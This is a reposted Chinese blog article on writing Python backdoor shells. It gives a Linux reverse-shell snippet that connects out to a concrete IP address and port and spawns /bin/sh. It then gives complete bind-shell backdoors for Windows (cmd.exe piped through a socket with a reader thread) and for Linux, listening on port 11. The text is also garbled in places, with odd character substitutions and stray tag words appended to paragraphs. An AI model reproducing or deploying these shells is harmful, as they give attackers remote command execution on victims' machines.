(轉)python正向鏈接後門

python正向鏈接後門

PHITHON 
    python在linux下的反彈shell代碼我相信不少人都見過:
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("59.188.234.64",14575))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);

    原理很簡單。新建一個socket,並將0、一、2分別表明系統的stdin、stdout、stderr(標準輸入、輸出、錯誤)重定向到socket中,而後開啓一個shell。這樣咱們從socket中傳來的命令就會進入系統的標準輸入(就跟鍵盤輸入的效果同樣了),系統的輸出和錯誤就會重定向到socket中,被咱們客戶端獲取。但這個彈shell腳本只能在linux下使用。python

    那麼,本文着重討論正向鏈接的shell,特別是windows下的cmdshell。linux

    咱們惟一的要求就是交互式。舉個例子,我nc鏈接上後,執行cd xx目錄進入某目錄,再執行dir可以列出該目錄下文件,而不是再開啓一個cmd,又列出默認目錄下文件。必定要是交互式的,不能是僞交互式。shell

    還有一個測試方式。咱們執行set a=1,再執行echo %a%,若是輸出的是1,說明是交互式,不然不是交互式。windows

    關於交互式正向鏈接shell,有幾個點須要注意

    1.無論在linux仍是windows下,想要作到交互式,就只能開啓一個shell。不可以每次接收到命令就再開啓一個shell進程,而後執行,這樣作的效果和os.system('命令')相似,就不用搞這麼複雜了。
    2.windows下cmd.exe /K參數是保持cmd不結束,/c參數是執行完後就結束,注意區別。

    我以前的想法是,python首先新建一個socket監聽端口等待鏈接。客戶端鏈接上之後,就開啓一個shell進程,而後把進程的標準輸入輸出錯誤(stdin、stdout、stderr)都重定向到管道中,經過管道和python程序鏈接,py中的subprocess庫已爲咱們封裝好了這個功能,咱們不用本身再新建管道了。
    而後進入一個循環,每次讀取一下socket中數據,而後寫入stdin中,經過管道傳輸給shell,shell執行完後,我用stdout.read()將結果讀取到,再send給客戶端。

    想法很單純很美妙,但實踐起來就出問題了。python中read不是異步的,只有讀取指定字節或讀取到EOF纔會返回結果。若是沒有EOF那麼read就一直讀,程序阻塞在這裏,因而表現出來就是卡死了。我nc中輸入dir,什麼返回都沒有。只要把python關掉,那邊纔會返回一個結果。
    因此,解決思路有四:
    1.若是能知道shell向管道里寫入了多少字節數據,我read(n)讀取這個字節數據便可
    2.若是有異步的read函數,調用也能解決問題
    3.實在沒辦法,能夠另開啓一個線程,專門讀取管道中的數據
    4.不使用管道,直接把shell的輸入輸出定向到socket中。不過在windows下使用總報錯,後面再講。

    思路一、2,我是沒想到好辦法的。沒辦法知道管道內數據的大小,沒找到異步read函數。
    我用思路3寫出了windows下的正向鏈接cmdshell:多線程

from socket import *
import subprocess
import os, threading

def send(talk, proc):
        import time
        while True:
                msg = proc.stdout.readline()
                talk.send(msg)

if __name__ == "__main__":
        server=socket(AF_INET,SOCK_STREAM)
        server.bind(('0.0.0.0',11))
        server.listen(5)
        print 'waiting for connect'
        talk, addr = server.accept()
        print 'connect from',addr
        proc = subprocess.Popen('cmd.exe /K', stdin=subprocess.PIPE, 
                stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
        t = threading.Thread(target = send, args = (talk, proc))
        t.setDaemon(True)
        t.start()
        while True:
                cmd=talk.recv(1024)
                proc.stdin.write(cmd)
                proc.stdin.flush()
        server.close()

    測試可用,是交互式的:異步

    03.jpg

    04.jpg

    用了多線程,開啓了一個新線程,這個線程專門從stdout中read數據,即便阻塞也不會影響主線程的socket過程。

    我用思路4寫了一個linux版本,能夠完美使用:socket

from socket import *
import subprocess
import os, threading, sys, time

if __name__ == "__main__":
        server=socket(AF_INET,SOCK_STREAM)
        server.bind(('0.0.0.0',11))
        server.listen(5)
        print 'waiting for connect'
        talk, addr = server.accept()
        print 'connect from',addr
        proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk,
                stdout=talk, stderr=talk, shell=True)
    效果:

 

05.jpg

    直接在popen的時候,將新建進程的stdin、stdout、stderr都重定向到socket中。這樣就能夠不使用管道通訊了。這也是C語言下零管道後門的原理。
但不知道爲何,我寫了一個windows版本,老是報錯:函數

    06.jpg

    不太能理解,windows版本就把/bin/sh替換成cmd.exe,但就出這個錯。
    以上是我對python下正向鏈接shell的分析,但願能幫到一樣有困惑的人,其中紕漏與錯誤,能獲得你們的斧正!post

相關文章
相關標籤/搜索